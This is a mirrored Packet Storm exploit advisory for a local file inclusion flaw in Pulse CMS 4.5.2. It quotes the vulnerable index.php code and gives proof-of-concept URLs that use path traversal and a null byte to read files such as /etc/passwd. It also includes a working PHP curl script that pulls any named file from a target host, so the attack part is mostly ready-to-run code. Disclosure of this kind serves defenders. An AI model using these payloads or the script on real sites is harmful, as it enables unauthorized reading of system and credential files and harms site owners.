Lucene search
K

Pulse CMS 4.5.2 Local File Inclusion

🗓️ 29 Feb 2016 00:00:00Reported by Ehsan HosseiniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

Pulse CMS 4.5.2 Local File Inclusion vulnerability in index.php allows remote exploitatio

Code
`Document Title:  
===============  
Pulse CMS 4.5.2 - Local File Inclusion  
  
  
References (Source):  
====================  
http://ehsansec.ir/advisories/plusecms452-lfi.txt  
  
  
Release Date:  
=============  
2016-02-28  
  
  
Product & Service Introduction:  
===============================  
Pulse CMS is the easiest way to build and deploy a responsive, content  
managed website. Since it's a flat file CMS there is no complicated  
database setup, just copy it to your server and  
go.(https://www.pulsecms.com/)  
  
  
Software Link:  
==============  
http://www.pulsecms.com/download/pulse.zip  
  
  
Vulnerability Type:  
=========================  
Local File Inclusion  
  
  
Vulnerability Details:  
==============================  
I discovered a local file inclusion vulnerability in Pulse CMS 4.5.2.  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
Vulnerable File & Code:  
=======================  
index.php  
9 $page = (isset($_GET['p']) && !empty($_GET['p'])) ? $_GET['p'] : 'home';  
10 $page = htmlspecialchars($page, ENT_QUOTES, 'UTF-8');  
11  
12 if (preg_match("/\//", $page)){  
13 if(file_exists("content/pages/".$page."home.txt")){  
14 $page = $page."home";  
15 }  
16 }  
27 include("content/pages/$page.txt");  
  
Proof of Concept (PoC):  
=======================  
-- Local File Inclusion --  
http://localhost/pluse/index.php?p=../../../../YourPHP.php  
  
-- For include other type files use null byte nullbyte --  
http://localhost/pluse/index.php?p=../../../../etc/passwd%00.php  
  
PHP Exploit  
<?php  
# index.php  
  
$target = $argv[1];  
$file = $argv[2];  
  
// page : index.php  
echo "Pulse CMS 4.5.2 - Local File Inclusion\n";  
echo "Author : Ehsan Hosseini\n\n\n";  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);  
curl_setopt($ch, CURLOPT_URL, $target.'index.php?p='.$file."%00.php");  
curl_setopt($ch, CURLOPT_HTTPGET, 1);  
curl_setopt($ch, CURLOPT_TIMEOUT, 3);  
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);  
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);  
$ex = curl_exec ($ch);  
curl_close($ch);  
unset($ch);  
  
echo $ex;  
?>  
  
Author:  
==================  
Ashiyane Digital Security Team  
Ehsan Hosseini  
http://ehsansec.ir/  
  
  
SPX tnx to:  
===========  
Bl4ck_mohajem  
  
  
Contact:  
========  
[email protected]  
[email protected]  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation